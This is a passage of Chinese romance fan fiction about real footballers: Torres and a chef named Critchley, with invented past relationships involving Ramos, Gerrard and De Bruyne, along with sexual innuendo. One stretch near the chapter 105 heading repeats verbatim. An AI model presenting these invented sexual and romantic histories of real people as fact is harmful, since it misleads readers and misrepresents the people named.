谁知刚好赶上了,托雷斯却说晚点进去。 电影放了十几分钟,托雷斯才牵着他的手走进乌漆麻黑的放映厅,本来没几个人也拖着他走到最后一排坐下。 克里奇利心想,他还挺小心的,让自己有一种被保护的感觉,就像刚才买咖啡,他暴露自己也不想暴露另一个人。 唉,谈恋爱虽好,不能谈到明面上确实不太好受,不会没关系,他保护我,我也能保护他。 就这样两个人看了一场没头没尾的电影,还开开心心的一边走一边和对方分享电影里的有趣桥段,一直走到江边,走过大桥,来到公园,谁都不提回去睡觉的事。 忽然天阴了下来,淅淅沥沥下起雨来。 这让他们不约而同的想到电影里那对小情侣,在雨中跳舞,不顾路人诧异的目光,尽情的跳着,忘我的跳着,仿佛与世隔绝。 克里奇利把外套脱了刚要给托雷斯披在身上,就被他一把拉进怀里,接着肩膀上就多了一件运动外套。 他笑,他也笑。 克里奇利索性把两件外套都扔在旁边的长椅上,弯腰伸手做了个邀请的动作,还没等说可以跳一支舞吗,托雷斯就与他十指相扣,另一只手自然而然地揽过他的腰身。 他学着电影里男方的舞步向前进步,可托雷斯并不向后撤步,导致他们刚跳了一步就撞在一起,鼻子和鼻子相抵,呼吸随着蒙蒙细雨喷洒在对方脸上。 再不亲上去就不是克里奇利,本来他也不会跳这种舞,只要手勾上后背,距离不足一厘米,就触发了他要亲人的条件,必不必要无所谓,亲是一定会亲的。 当他手指发力,扣着托雷斯的后颈,准备亲上去的时候,托雷斯却意外躲开了。 这个细微的躲避虽然不那么明显,但足以表明他是抗拒的。 克里奇利先是愣了一下,快速回想自己有没有做的不对的地方,答案是没有,那他为什么要躲,是自己理解错了?不应该啊,托雷斯从一开始就特别的悦纳自己,而且这一晚上的约会还不能说明什么吗? 于是他开始撒娇,手还没从托雷斯的后背上拿下来,头就枕到了人家的肩膀上,一边摇晃着他一边委屈巴巴地说,“南多,你是不是不喜欢我?虽然我有很多不好的行为习惯,但都是过去了,我可以改的。” 托雷斯也没有后退,任由他抱着,缓缓吐出一口气,悄悄拉开些距离,盯着他眼睛问他,“布莱恩,你真的想和我交往吗?” 克里奇利在遇到他时心里就已经有了答案,要说天时地利人和,他就在自己特别想谈恋爱的时候,上帝把这么美好的一个人送到自己眼前,没有道理不把握住。 他毫不犹豫地直视回去,“想,特别想。” 见他回答的如此坚定,托雷斯内心有些不忍,他收起温柔的目光,语气也变得沉起来,他说,“你和我在一起要经历的困难难以想象,我们不像电影里的那对情侣,他们可以在阳光下肆无忌惮的拥抱亲吻,我们只能在昏暗中度过每一个相聚的日子,如果哪一天曝光了,我不知道能不能保护你不受到伤害。” “我不怕,如果哪一天曝光了,全推给我,我保你全身而退,我绝不会后悔,南多,就给我一次机会,我不想错过你。” “怎么能全推给你呢,小傻瓜,你知不知道你有多幼稚,才见了几次就这么傻乎乎地奔过来,万一我不是你想的那种人呢。” 克里奇利笑得露出他标志性的小虎牙,心想,别说几次,见一次的都没像这次这么费劲。还有,我看人的本事就像你们踢球一样,能不能进全看平时的功夫练的到不到家。 他搂着托雷斯的脖子,再次撒娇卖萌,“小傻瓜现在要一个亲亲。” 说完他自己都愣住了,这是什么大型突发幼疾现场,自己遇到40岁的男人怎么一点矜持都没有了,算了本来那玩意自己就没有。 于是,两个人在雨中亲吻,亲的腮帮子都酸酸胀胀的,嘴巴里也咸咸的,克里奇利知道不是用力导致的,也不是尝到了雨水,而是他们多年来漂泊的内心突然得到了巨大的抚慰,难掩激动而不觉落泪颤抖。 第105章 个相聚的日子,如果哪一天曝光了,我不知道能不能保护你不受到伤害。” “我不怕,如果哪一天曝光了,全推给我,我保你全身而退,我绝不会后悔,南多,就给我一次机会,我不想错过你。” “怎么能全推给你呢,小傻瓜,你知不知道你有多幼稚,才见了几次就这么傻乎乎地奔过来,万一我不是你想的那种人呢。” 克里奇利笑得露出他标志性的小虎牙,心想,别说几次,见一次的都没像这次这么费劲。还有,我看人的本事就像你们踢球一样,能不能进全看平时的功夫练的到不到家。 他搂着托雷斯的脖子,再次撒娇卖萌,“小傻瓜现在要一个亲亲。” 说完他自己都愣住了,这是什么大型突发幼疾现场,自己遇到40岁的男人怎么一点矜持都没有了,算了本来那玩意自己就没有。 于是,两个人在雨中亲吻,亲的腮帮子都酸酸胀胀的,嘴巴里也咸咸的,克里奇利知道不是用力导致的,也不是尝到了雨水,而是他们多年来漂泊的内心突然得到了巨大的抚慰,难掩激动而不觉落泪颤抖。 第105章 很快克里奇利就尝到了第一个苦,异地恋的苦。 第二天,克里奇利给托雷斯打电话,约他晚上去奥林匹克公园看烟花秀,可托雷斯抱歉的告诉他,自己航班提前了,原定于明天晚上的航班因天气原因取消了,马竞那边还有很多事,于是他就买了今晚的机票,还没来得及和他说。 克里奇利有些难过,但是他表现的很成熟,他说,“没关系,南多,你去忙吧,下次再看,我会等你。” 托雷斯告诉他我会在天上看。 克里奇利立刻纠正他,你是在飞机上看。 于是,两个人只谈了一天都不到的恋爱,就分开了,是分隔两地。 走的那天,托雷斯和他吃了午饭,聊了一会,就准备和工作组返程回马德里,还叫他不要去送他,不是约好了一起看烟花,不可以爽约,他都乖乖的答应了。 托雷斯看他有些闷闷不乐,也不知道该怎么安慰他,思来想去,还是开口对他说,“你想玩就去玩,不用考虑那么多,注意身体就行。” 克里奇利猛然抬头盯着他的脸,想从他神情里捕捉到一丝违心,可托雷斯淡定的好似一尊佛,完全没有你现在是我男朋友,不能到处乱搞的占有欲和嫉妒心。 这让他感到不爽,也隐隐觉得不对。 那时和德布劳内谈恋爱,因为小奶狗的误会德布劳内还打了他一顿,见不得和曼城队友打情骂俏整天数落他不知检点,几天不见就打电话查他房,最后还是因为他管不住米青虫上脑找了专业人士进门表演而分手,虽然不堪回首,但这才是谈恋爱的正常表现吧。 可托雷斯呢,让他去玩。 要搁以前,他可能一使性子告诉对方,行,我玩的时候会带入你的脸,可对方是托雷斯啊,他不可以亵渎他,他舍不得,也不敢开dirty玩笑。 他说:“对我有点信心,别看那些小道新闻,我…”我很专一差一点就说出来了。 托雷斯笑笑,伸手拨了拨他的刘海,依然温柔地告诉他,“没事,等你准备好了再说,我都等了这么多年,不在乎一时半会。” 克里奇利到底是看不透他了。 难道他比自己玩的还花?不会吧,他可是如凯恩所说口碑硬的很,连花边新闻都没有,只有一个初恋女友谈了很多年,随着他退役去了马竞B队执教,关于感情方面的报道可以说是一片空白。 克里奇利虽然心有不悦,但一想到自己劣迹斑斑的过去,也没资格要求对方还守身如玉,于是既不失礼貌又无可奈何地说,“谁叫你是托雷斯呢,我认了!我会管好自己,也不会让你久等。” 当晚,他一个人来到奥林匹克公园看盛大的迎新年烟花秀,他相信飞机上的托雷斯也能看到,并和他一起许愿,不久他们就会再见面。 克里奇利也想不顾一切再踏上西班牙的土地,但是他也不能太没定力了。 他想陪陪凯恩,等赛季结束后拜仁夺冠了再考虑下一步的打算,如果没有托雷斯,他可能会在慕尼黑久居也说不定。 再就是他的小破店真的在拜仁这帮球星的帮衬下,没多久就成了网红店,排队打卡的络绎不绝,突然甩手不干了有点对不起共事的同事和老顾客,还得想个长久的法子。 他一时半会真的脱不开身。 要说托雷斯一点不吃醋也是假的,他特意发信息问克里奇利和凯恩什么关系。 克里奇利脸不红心不跳的淡定回答是相见恨晚的兄弟关系。 托雷斯接着又问他,那贾马尔·穆西亚拉呢? 问的他一时半会答不出来,也就是发信息,要是打电话,他一准被问成个哑巴。 他只好耍赖:“干嘛呀南多,我现在只想你一个人。” 托雷斯回了一个微笑的表情,看上去是那种父辈才会发的emoji,搞得克里奇利出了一头汗,才发觉异地恋原来这么惊悚的吗。 没喝过爱情这杯苦咖啡的克里奇利,第一个苦就是想见他见不到,这种抓心挠肝的感觉让他发蔫,干什么都提不起兴致来。 只有晚上躺在床上抱着手机时才会让他有一点活着的意义,而那个时间,托雷斯总在一边健身一边和他聊天。 白天的他太忙了,只好晚上走进健身房,撸铁不要紧,嘶哈嘶哈的让电话那头的克里奇利忍着浴火焚身一遍又一遍的冲冷水澡,实在忍不了只好解决自己,脑子里当然想的他,他一身美好的肌肉和汗水湿透的金发。 事实证明,爱上一个人就不会对别人感兴趣,无论哪个兴趣,如果有,就是不爱。这句箴言在克里奇利这里应验了,他做梦都没想到,自己竟然会如此动心动念地想要爱一个人人,不求回报。 就算他走了,离开这里超过半个月,依然想他想得紧。 那天他们在雨中跳舞,第一次亲吻对方,小王子眼神扑朔迷离,睫毛轻轻的颤动,克里奇利真想对他说,你的柔情藏在铁血里,就这么轻易地倾泻给了我,我真的何德何能。 托雷斯确实忍了很久。他觉得如果不说出来,这辈子也就这样了,谁知遇到了这个可以说的人,还是个情场老手,让他隐藏不住内心的渴望,又因为这个花心大少奔赴的脚步太快,让自己空虚了这么多的内心一时接受不了太多的信息素,导致不敢收的太紧,怕驾驭不了让他对自己沉沦得快,失望的也快, 于是,他给他最大的自由,让他有时间清算自己,好好想想到底要不要投入进去,如果有一天他真的想好了,别说他来西班牙,就是让自己辞职随他去做家庭煮夫他都愿意。 两个人虽不在一起,想要奔赴的心情谁也不比谁少。 他们也突然理解了为什么有的人谈了七八年恋爱,分手后转而就和认识不到一个月的人结婚,不是报复前任,是真的遇到了命定之人。 * 这天,托雷斯照常走进健身房。他一般下午3点半会去马德里著名的连锁店“领先”健身房找体能训练师进行一个小时的专业训练。晚上回家还要继续强化,一天下来,健身占据了差不多三分之一的时间。 他坐在健身器材上刚做完50个拉伸手臂动作,就被人搭讪了。 一般和他搭讪的都是夸他肌肉好漂亮好有型之类的,由于他是这里的常客,这个时间的vip客户都熟悉了,搭讪的也就没那么多了。 今天这个搭讪的不走寻常路,竟然在他身后问他要联系方式。 没错,克里奇利趁着冬歇期凯恩不在家不用操心他吃饭,又扔下高峰客流量的小店,不,已经扩为大店了,那他也不在乎,买了机票直飞马德里。 他知道他的行程,几乎每天都是复制粘贴,自律的令人发疯。 他早早地埋伏在这里,为此还办了卡,见到托雷斯来了,便不动声色的躲在角落里等着一会去试探他。 见他进入状态于是渐渐靠近,捏着鼻子在他身后用西语小声说:“帅哥,可以加个好友吗?” 谁知托雷斯把拉伸带松开,连头都没回,直接说了声“no”· 这家伙可不是那么平易近人,对搭讪嗤之以鼻,只要不是家人球迷朋友一律不理,何况现在他已心有所属。 克里奇利有些暗爽,但还不满足,于是伸手搭在了他的肩膀上,还捏了捏,“嘿,帅哥…”话还没说完手腕就被一道洪荒之力拉了过去,眼睛都没来得及眨他整个人就飞过去了。 一个漂亮的过肩摔。 “啊!!” 他应声倒地,后背重重的摔在木地板上,痛的呲牙咧嘴,这还没完,那人一个跨步就“跪杀”了他。 托雷斯跨坐在他身上,两个膝盖跪在他的肩关节处,是一个压倒性的控制技术。 “救命,是我啊!”他手掌拍地投降。 托雷斯一看竟然是他,赶紧松了松劲儿,但没有立刻起来,而是居高临下看着他笑,笑得肩膀颤动,脸上都笑出了兴奋的小括号。 克里奇利原来也是健身房的常客,一身薄肌跟刻的似的,但他偏瘦,只有胸肌腹肌引以为傲,手臂整天颠大勺不用练都有劲,但在强壮如牛的托雷斯面前还是被瞬间秒杀。 不行,自己也要撸铁,不然被他掀翻,骑在身上那还不是易如反掌的事。 技术在绝对力量面前啥也不是。 这可不是打乒乓球,这是有对抗的运动啊! 这时教练和其他人对这边的动静纷纷侧目,以为是托雷斯受到了袭击,结果看到这个高大的“歹徒”被托雷斯徒手制服不禁刚要拍巴掌,托雷斯就红着脸站起来一把拉起他抱住了。 “布莱恩,你来了也不打声招呼,没受伤吧?”他稀罕的抱着他还拍了拍他的腰际。 “没,我也很结实的。”他活动了一下肩膀,笑得很勉强,没让他把胳膊卸下来就算不错。 托雷斯笑着给他揉揉肩,眼底流露出的惊喜似乎还没消散,目光在他脸上移不开,好像在确认这么久没见面还是那个热情奔放吵着闹着要一个亲亲的大孩子吗。 大孩子有些受挫,完全没有了之前那种拿捏别人的得意忘形和嚣张跋扈的雄风,现在的他就像打不过自己练体育的女友那样垂头丧气,一双大眼睛漫无目的地扫来扫去。 “布莱恩,我很高兴你能来,你也开心点好不好?”托雷斯一边哄他,一边带他去水吧喝点东西。 “我开心着呢。”他努力调整自己的表情,却抑制不住自己微微发抖的双腿。 今晚到底要不要睡在他床上?来的时候光想着我们这么久没见一定会分外兴奋,于是酣畅淋漓地大战三百个来回,怎么没想到很有可能被他单方面吊打,只有来,没有回呢! 第106章 两个人面对面坐在一张小圆桌旁,窗外阳光正烈,一簇金光透过窗斜照在托雷斯宽厚硬朗的肩膀上,他的眼神在克里奇利面前的透明杯子和眉眼之间来回扫视,安静地欣赏那轻轻握杯的修长手指和那看也看不够的年轻容颜。 看的克里奇利心里痒痒的。 他想起之前在健身房勾搭小帅哥时,从来没带小帅哥来一边坐着聊聊天喝水,只需一个眼神和一句嗨你好吗,就可以拉着小帅哥去私密场所释放自由基了。 虽然过去了2年,风采依旧不减当年,他坐在这里,和托雷斯相比,是另一种嚣张出尘的美,引得旁人纷纷侧目,也有不少帅哥在悄悄打量着克里奇利,窃窃私语。 要是克里奇利一个人,早就有人来搭讪,问他内还是外,top or bottom,他在伦敦那个圈里是人尽皆知的公众尤物,在开放的马德里当然也会被有心之人关注。 他和托雷斯喝了两杯水就有三五个人从他身边走过,或轻浮的或试探的或挑逗的眼神不加修饰地像下注似的纷纷投递给他,他这么心里有数的人,怎么会觉察不到,只是心绪都在托雷斯一个人身上。 如果没有谈恋爱,他会挑选一个看的顺眼的幸运儿,给他想要的深入体验,之后再优雅地say goodbye。 他就是那种一眼出类拔萃,两眼天赋异禀,久看也不会腻的天作之物,能遇到他就是走了大运了。 但在托雷斯面前,甘愿被他改变的心思不只一天两天了,那也不在于一时半会,他突然有了一个坏主意。 他把杯子里的水一仰脖喝干,动作太猛,送了半口撒了半口,水顺着他颀长的脖颈流过喉结洒在他的胸前,白T恤被水沾湿在他平整饱满的胸肌上。 他把上衣一脱,对托雷斯说,“走吧,我陪你再练会。” 托雷斯笑着摇摇头,只好跟在他后面,看他到底耍什么花招。 克里奇利走到举重器械那边,开始练推力,托雷斯帮助他加码,又去跑步机、划船机扫了一圈,成功获得了一身水润,接着他去镜子面前摆姿势欣赏自己美好的身材,还发出啧啧的满足声。 这么一会,就被好几个人夸赞了。 他从镜子里瞥托雷斯,看他有什么反应,这个时候他应该给自己披上毛巾,拉自己去洗澡别练了,不许别人再觊觎然后一个人独享他。 然而托雷斯只是抱着胳膊冲他笑,好像在看他还有什么能耐没使出来,有本事把裤子也脱了。 计划失败,他不得不坐下歇歇,肩膀垂下来,任发梢滴着汗珠。 终于等到托雷斯也练完了一个课时,拎着毛巾向他这边走过来,把毛巾盖在他头上,温柔地给他擦了擦。 他抬手把毛巾拽下来,不太高兴地哼道:“都干了,你可真沉得住气。” 托雷斯却十分不解风情地问他:“什么沉得住气,对了,你今晚住哪?” 克里奇利无语。 他不是x冷淡而是x冷漠吧,都亲过了,也确定了关系,怎么还不把他带回家呢,他到底对自己是什么心思。 正当托雷斯想着该怎么安顿他这远赴而来的男朋友时,克里奇利已经抓起毛巾去了浴室。 浴室里当然也有刚才偷瞄克里奇利的人,见他光着走进来,眼神非常直白地盯着他局部看。 看个屁,他这会很烦,宣告福利时间结束了。他迅速拿浴巾裹住了自己,坐在桑拿房的长椅上,思考自己是不是来的有些鲁莽了,怎么在电话那头谈的挺好的,恨不得立刻见面的样子,怎么来了以后有种奇怪的挫败感。 托雷斯啊你不要,可有大把的人要哦。 脑子刚要偏离一点,就看见托雷斯也围着浴巾走进来,头发和身上挂满了水珠,刚洗完澡热气腾腾的,把身子上的每块肌肉都熏蒸的很有生命力。 天菜吧,这无疑了,就算别人想要我也没用,我想要这个人,就这个了,要身材有颜值,要颜值有气质,要气质还有大把的成熟和致命的内在魅力。 托雷斯的内在魅力就是忍啊。 没有一点男侗的逾越和好色,看他的眼神就像看小姑娘,脸上总是微微笑着,不说话好像也说了许多话,就像微风吹着他自然而然地往前走。 他坐过去了一点,闻到了托雷斯身上淡淡的沐浴露香味,恨不得头靠过去枕在他肩膀上。 “一会呢,我陪你去买衣服,买鞋子,再买点日用品,这几天就住在我家吧。”托雷斯开始安排。 “……”他想说什么都听你的,但是怎么有种凯恩的大哥感呢。 他想了想说:“你不用操心这些,东西我都放酒店了。” 其实他根本没订酒店,来了就直奔托雷斯的据点,换洗衣物也存在健身房,就等着见到他拎包入住,可是刚才他问自己今晚住哪,显然并没有第一时间想让自己住他家啊。 既然他要隔空恋爱,那克里奇利也是能做到的吧。 只要他再说一遍别住酒店了,来我家,给我做饭吃,那他就赶紧点头,然后立刻去前台把行李取了。 但是托雷斯想了想只说了一句,“那好吧。” 克里奇利再度emo,那种一见面就火急火燎抱着亲个过瘾的画面已经一点一点的被压了下来。 这也不符合他的炒菜节奏啊。 托雷斯就像一个大家长似的,带着他到处玩,到处逛,给他买漂亮衣服,鞋子,请他吃西班牙土著菜,看电影,逛书吧,最后把他送到他口中的麦格纳酒店。 逛一天街可比踢一场球累多了,他虽然不踢球,但感觉腿肚子都要抽筋了,真踢一场球也不至于这样吧。 好在和托雷斯在一起时间过得无比的快,也不觉得无聊,他们一路说笑,走走停停,感受城市魅力也是另一种心境。 不过有好几个地方他都去过了,马德里一日游还是和小蜘蛛游的,那他也尽力表现出新奇和欢喜来,还数次表示喜欢马德里这个城市,真想定居在这里。 他之前不太喜欢马德里的,同样是首都,还是觉得伦敦好,起码不用学外语,主要是驾轻就熟,哪里有好的食材他都知道。 现在却口是心非,看着托雷斯就满足了。 他们到了酒店前台,克里奇利打算让他先走自己再办入住,不然被他发现还没订房间就尴尬了。 但是买的东西有点多,酒店服务又太好,服务员一直在问他哪个房间帮他送回去,克里奇利拒绝后那服务员也不走,等着赚小费,托雷斯见状说了一句不着急我们先在大厅坐会。 点了两杯茶,托雷斯一边喝茶一边看着他笑。 又笑什么,这一天下来,托雷斯一直在对自己笑,好像很开心又好像有什么笑料一直没抖。 自己现在看上去像个笑话? 克里奇利摸摸脸,叉开大长腿,有些迷茫的问他,“怎么了,南多,你都盯着我一天了,我就这么好看吗?” “哈哈哈…”托雷斯爽朗的大笑起来,面带红晕的说,“看不够,你是魅魔。” 我的天,他连魅魔都知道,看来我们也没有什么年龄代沟。 嗯,自己的确是魅魔,谁看都迷糊,这点自信他还是有的。 但是怎么遇见正主,魅魔正在一点一点被清洗,好多优秀品质正像叠buff一样往他身上粘,他自己都快要不认识自己了。 曾经那些勾引人不商量、谈恋爱不如跳舞,大豪宅睡客络绎不绝、换对手比换衣服还勤的克里奇利,怎么要被痴情专一、逛街比睡觉好玩、健身喝茶而不是喝酒抽烟等健康生活方式给取代了? 这时托雷斯突然站起来,一把拉住他的手,把他从沙发上嚯地拽起来,揽过他的腰,在他耳边低声道,“小傻瓜,这里需要提前两周预订,你打算等我走了露宿街头吗?” “啊?”克里奇利一头问号,“我…不是,你怎么知道?” 他是马德里土著他什么不知道。 两周前他们才刚分开不久。 那就是要带自己去他家了?哼!玩我呢?露宿街头也不去,除非他求我。 “我不要去你家住。”他浑身上下现在嘴最硬,但脚步不停,不知道是没劲儿了被人挟持着走还是腿不是自己的,嘴说不去,腿自己要去的,可不关我的事啊,脑说。 他都思维错乱了,来了马德里不是自己的地盘自己说了不算,现在要被吊着自己半天的人说捡就捡回家了,自己不要面子的啊? 对。 他不要面子,他知道雄竞要面子,但在爱人面前,面子就是鞋垫子,被他踩脸上也愿意,但一向高高在上的他此时此刻也需要一个台阶。 托雷斯可没有踩他脸上,反而正中他下怀地给他递台阶,柔声哄他,“布莱恩,你来了哪有让你住酒店的道䥇,如果这点都照顾不好,我有什么资格当你男朋友啊!” 克里奇利心头颤动,这就是恋爱的感觉吗?好神奇,明明刚才喝的茶有点苦,现在却像被喂了一颗糖,舌尖甜,心里也甜,那种漂泊不定的感觉也渐渐消散,于是顺着台阶就轱辘下来了。 看着托雷斯神色轻松地驾车穿过城市霓虹,绕了半个圈,随着车上好听的西语歌轻轻哼唱,克里奇利就仿佛看到了未来十年的生活,是一种稳稳的幸福。不用担心他把他半路扔下,也不会被他说教要专一不许到处拈花惹草。 当然,他知道,首先他不会轻易跑掉,也不会再去纸醉金迷中寻欢,既然他要靠岸,上帝又给了他这样一个完美情人,再不珍惜真的是白活一场了。 40岁就去见上帝这种话他也不会再提,自己现在还是个孩子呢,要在托雷斯的怀里撒泼打滚,找回曾经那些缺失的爱。 第107章 克里奇利到了别人家那就是引狼入室。 他常规操作就是先脱。 不管自己家还是别人家,一件不留,坦诚相见。 唯独这次,他羞涩了。 他脸上又热又辣,手心直冒汗,脚步略显拖沓,以前第一次去别人家就跟回自己家一样的他今天竟然有些莫名的紧张和不安。 还好,他一进屋就闻到他家清甜的柚子香,和他的沐浴露味道很像,家里的装修也是暖色调,让他感到温暖,心情也得到了些许平复。 托雷斯绕到他身后,把他的外套脱下来挂在门口的衣橱里,又给他拿拖鞋,笑眯眯的对他说,“欢迎光临,喝点什么?”一边说一边转身去了厨房,“不过我家只有苏打水和矿泉水,没有酒精饮料和碳酸饮料。” “都可以。”克里奇利清了清嗓子,手没地方放的搓了搓。 他环顾四周,看托雷斯家的装修风格就知道他是一个极简主义者,只有沙发没有茶几,托雷斯递给他水问他,“奇怪吗,有了茶几我坐在这就想吃东西,一旦吃东西我就会想喝啤酒。 “谢谢。”克里奇利接过水杯,随他坐在沙发上,“你也会想喝啤酒的吗?”他觉得他就是个仙人,属于不食人间烟火的哪类。 “怎么不会,我又不是神。”说完,他又腼腆地笑了笑。 他平时不喝酒不吸烟不蹦迪,夜生活除了健身看书听音乐也没什么,10点半就睡觉,生活自律到有些无趣,属于中年养生模式,但他看上去活力满满,光芒四射的。 克里奇利从来不向往这样的生活,唯独一样的是他们都被繁忙的工作占据着白天,而晚上是克里奇利释放另一面华彩的时间。 两年前,他和伦敦的2个好基友夜夜笙歌,蝴蝶大道上三个酒吧,一个皮衣派对,一个正太修罗场,还一个半开放的大型queers社交场,都是他每天打卡的圣地。 他出现在哪,聚光灯就在哪,他都不用踌躇,每天晚上都有故事。 而这两年,随着年龄增长成熟了一点也收敛了一点,那也不乏身边匆匆来去的过客来切身体验他的风华绝代和一夜妖力,光球星就不知道多少个了。 他们压力大,释放一下没什么,要做自己也很难,而克里奇利刚好满足他们想要小小出格一下的需求。 克里奇利回忆起那些事再看看旁边这个温暖的金发男人,感觉很不相搭,他会不会嫌弃自己是个花蝴蝶,烂黄瓜… 不会的,这都是上帝最好的安排,托雷斯怎么会嫌弃自己,如果嫌弃就不会用这种温柔的眼神看着自己。 “南多,我其实有很多不太好的过去。”虽然笃定他不会嫌弃还是像个兜不住事的诚实孩子一样,自动自觉的开始招。 托雷斯愣了愣,随即唇角勾起,身子往他那里倾斜过去,伸长胳膊搂住他的肩膀,和他碰了碰头,认真的问他,“你想说吗?不说也没关系。” “我不想对你有所隐瞒。”克里奇利身子有些僵硬,控制不住的想要把自己扒光,不是那个扒光,他抿了抿嘴唇,面对托雷斯,不打自招地陈述过去。 “他们说我是一个狂妄自大自私自利又无情无义的混蛋,我不想狡辩,但我有自己的处事风格,任何人想占有我或者离开我,我都不会有所动容,因为我对生活就是这个态度,不在乎别人怎么看我,不在乎别人怎么想,活一天就少一天,我曾想过最差就是早点去见上帝而已。” “噢天,布莱恩,你经历了什么?”托雷斯抚摸他的后脑勺,往他那边靠了靠,给他温暖的胸膛和宽阔的肩膀,鼓励他说下去。 “我爸妈没教我要怎样去爱别人,17岁我就被赶出来,以为自己要失足才能活下去时被一个中国老头给救了,那时我就告诉自己,去他的憎恶和仇恨,我爽了就行,以后我要天天为自己而活。” “我能理解。”托雷斯眼睛像深湖一样包容着他一切不安的情绪。 “后来,我认识了很多人,我们互取所需,也没什么不好,只是每一次肉/体接触都好像告诉我这种奇妙感越来越稀少了。” 托雷斯若有所思地点点头,微微皱了皱眉。 他怕托雷斯误会接着解释道,“我这可不是为了和你谈恋爱找一堆借口啊,是我真实的感觉。” “傻瓜,我明白。你遇见我之前,你的生活我无法参与,要是早点遇见你,说不定你这种性子也会把我当成过客。” “不不不。”他赶紧摇头,“早点遇见你,我早就完蛋了。”他差一点就说出来自己对金发男人没什么抵抗力,不管是染的还是天生的。 他从矫治中心逃出来的时候,和他一起逃的就是一个金发男孩,他们往山下跑的时候,那个男孩 不幸摔伤了脚,而他们离大道已经不远了,那个男孩叫他先走不要管他,要不谁都走不了,如果他有幸得救了,记得报警救他。 后来他报警去救那个男孩,结果没有结果,那个男孩已不知去向,这导致他脑子里总有一个金发少年的身影,在不停地催促他,“快走,再不走来不及了,布莱恩,活下去,为了我。” 直到现在,他才感觉到那个金发男孩为了救他让他活下去做了太多,包括在矫治中心替他扛了很多毒打和折磨。 他心里有一个金发结,所以在遇到厄德高,德布劳内,德容时,他没有任何抵抗力,像报恩似的发疯去寻找那些曾经没有被发现的爱和温存。 “唉”想起往事的里奇利轻轻叹气。 “我的错。”托雷斯突然表情凝重下来,“没早点遇见你是我的错,布莱恩,是人都会犯错误的,你也不用为过去而感到焦虑,所以,原谅我,出现的太晚,不过,现在也来得及吧?” 他的胳膊有力的圈住克里奇利的身子,伸手拍了拍他的胸膛,以年长者自然而然的爱来包容他安慰他。 克里奇利好像被戳到了勇敢的神经,突然转过身来扑进托雷斯的怀里,紧紧地抱住他,趁他双手抚上自己的背,蓄力前压,顺势把他扑倒在沙发上。 他是故意的。 他低垂着眉眼看着托雷斯,伸手抓住他的手腕牢牢锁在自己手心里,以防他突然发力把自己掀下去,渐渐加重的呼吸洒在他的脸上,一丝狡黠的神情闪过,“我都招了,要么可怜我要么原谅我,你选一个吧。” 说完他脸色绯红,心跳加速,好像在做一件特别危险又上头的事,而这种事他已经做过无数遍,今天格外激动不知道是怎么回事。 “哈哈…你这家伙。”托雷斯纵容着他没有发力。 无论选什么都落入他的圈套。 就这样被他压了一会不生气,也不反抗,而是平静又安详的看着他,等着他下一步动作。 他闭上眼睛小心翼翼的凑过去,无比珍惜地轻轻啄了啄托雷斯柔软的薄唇,获得回应后,立刻被点燃了心火,一股电流袭遍全身,再也不能忍着不去碰对方。 一向沉稳有度的克里奇利竟然失了魂,那些能把人亲迷糊的手段此刻都变成了生涩的探路,越亲越像未经世事的新手。 亲的磕磕绊绊,喘了又喘,好像燕子衔泥般反反复复,细细斟酌。 亲了一会儿,托雷斯就笑场了。 他说,让我喘口气。 克里奇利停下来看着他,又不好意思了。 “不舒服吗?还是很奇怪?说给我听听,我想知道你是什么感觉。”克里奇利认为托雷斯gay的不明显,他没探测到,尽管他对自己很在乎,很关爱,但始终没有那种想要往他身上攀的渴望,这不符合他身边gayman的风格,但凡有一点倾向的,不说对他垂涎也会对他格外关注,起码眼神印他的力度他能感觉到。 克里奇利低头看着他一张俊美的好像没经历感情创伤的脸,让他第一次想要在和对方睡觉之前了解他。 托雷斯歪了歪头,笑着对他说,“没有不舒服,你水平很高,只是我禁欲的久了,有些不适应罢了。” “啊??”克里奇利后脑勺好像被擂了一棒,他太可怕了,不仅健身成魔,还禁欲,是要当和尚吗? “那我也跟你聊聊我吧。” “噢。”克里奇利从他身上爬起来,抚平了自己的上衣,端正的坐好,放缓了节奏准备洗耳恭听。 托雷斯说,“我真的很抱歉,如果按照你的路子,那我真的不算一个合格的情人,都这么多天了,还没满足你。” “别这么说,我也不是只用下半身思考,我只是不太会谈恋爱而已,但我可以学。” “是这样的,布莱恩,我也不是情种,我20岁之前谈的是女朋友,从小就在一起,谈了七八年就好像亲人一样了,我曾向她求婚,但她说想去外面闯荡,不想一辈子守在马德里,守在一个人身边看透往后余生。” 克里奇利心想,我也好像看到了十年后的生活,我反而很期待这样平静安逸的日子,因为漂泊了半生并不是因为自己喜欢这种双脚离地的悬浮感,而是没有能接住他的人,他们都不现实,而托雷斯就像一个四季如春的房子,让自己累了伤了痛了想要回去的地方。 “你还爱她吗?”克里奇利心里有些刺痛,第一次吃到酸葡萄的味道原来是这样。 “都过去很久啦,人家搞不好都结婚有孩子了。” 他说到孩子,克里奇利又望了他一眼,突然想和他有一个孩子,有他的基因的孩子,一定是个小暖宝。 “那这么多年你怎么过来的?” “嗯,我发现自己有某种倾向的时候说实话也很突然,最开始是拉莫斯,他总是有意无意地触碰我,不分场上场下,他特别黏我,我会觉得不太舒服,但等我开始期待他触碰我的时候,他就突然撤出了我的生活,除了国家队训练之外,私下始终保持着不远不近的距离,外界都说我们是一对cp,然而他总是笑着说谁能配得上我们托雷斯啊。” “虽然他勇气欠佳,但他说得对。”克里奇利偷瞄他一眼,接着被托雷斯揉了揉头发。 他接着说:“再后来,是杰拉德。我们利物浦的队长,他在一次比赛为我送出助攻后,把我扛了起来,双手抱着我的大腿,颠着我一路小跑,那时候瘦嘛,就被他扛着坐到广告牌上,接着他跪下来,当着球迷和摄像机的面用西语对我说嫁给我,当时我都懵了,也是太兴奋了就张开双臂对他说来吧,史蒂文,然后我们紧紧地拥抱在一起。” “我看过那个画面,看出来你有一点迟疑,但你是个好人,没有当场把他踹翻。” “哈哈哈,我倒是想,他真的是个无赖,从那以后他就叫我托妞,老婆,我烦了,他就又想扛我,直到有一次他真的亲了我,并说对我是真的喜欢我不是开玩笑,我却选择了沉默,接着我度过了一段低谷期,最后承受不住压力和舆论离开了利物浦,也狠狠地伤了他。” “你们踢球的忌讳这个,那也是没办法的事。” “年轻不懂事,害怕占据了大部分,这种事我谁也没说,一直压抑着,慢慢的我了解了自己,也经历了内心的挣扎和彷徨,试过很多方法,也试过再去交女朋友来重建自己,但是都失败了,所以,我选择继续忍。谁知,陪了我六年的背包看不过去,它帮我勾到了一个大帅哥。” 托雷斯撇撇嘴,难掩笑意,肩膀撞了他一下,故作轻松的交待了自己的情事,其实这么多年的寂寞和反复的认证自己,其中的苦楚只有他自己知道。 